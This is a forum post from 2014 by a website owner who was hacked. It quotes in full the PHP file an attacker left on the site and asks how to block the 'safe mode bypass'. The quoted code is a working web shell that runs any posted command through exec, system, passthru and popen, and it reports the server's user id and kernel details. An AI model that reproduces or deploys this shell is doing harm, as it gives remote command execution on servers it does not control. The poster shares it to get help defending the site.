Strange php code found on my website

Posted on 16th Feb 2014 07:03 pm by admin

I got hacked and the following code was placed within my files:

Code: [Select]<?
/*
Kodlama By Liz0ziM
Safe Mode Command Execution Shell
*/
function safeshell($komut)
{
ini_restore("safe_mode");
ini_restore("open_basedir");
$res = '';
if (!empty($komut))
{
if(function_exists('exec'))
{
@exec($komut,$res);
$res = join("n",$res);
}
elseif(function_exists('shell_exec'))
{
$res = @shell_exec($komut);
}
elseif(function_exists('system'))
{
@ob_start();
@system($komut);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru'))
{
@ob_start();
@passthru($komut);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($komut,"r")))
{
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}
}
return $res;
}
echo "<b><font color=blue>Liz0ziM Private Safe Mode Command Execution Bypass Exploit</font></b>
";
print_r('
<pre>
<form method="POST" action="">
<b><font color=blue>Komut :</font></b><input name="baba" type="text"><input value="?al??t?r" type="submit">
</form>
<form method="POST" action="">
<b><font color=blue>H?zl? Men? :=) :</font><select size="1" name="liz0">

</pre>
');
ini_restore("safe_mode");
ini_restore("open_basedir");
if($_POST[baba]!= "") { $liz0=safeshell($_POST[baba]); }
if($_POST[liz0]!= "") { $liz0zim=safeshell($_POST[liz0]); }
$uid=safeshell('id');
$server=safeshell('uname -a');
echo "<pre><h4>";
echo "<b><font color=red>Kimim Ben :=)</font></b>:$uid
";
echo "<b><font color=red>Server</font></b>:$server
";
echo "<b><font color=red>Komut Sonu?lar?:</font></b>
";
if($_POST["baba"]!= "") { echo $liz0; }
if($_POST["liz0"]!= "") { echo $liz0zim; }
echo "</h4></pre>";
?>
How would i patch this?, like is their any code i can add to a global file to prevent this "safemode bypass"?
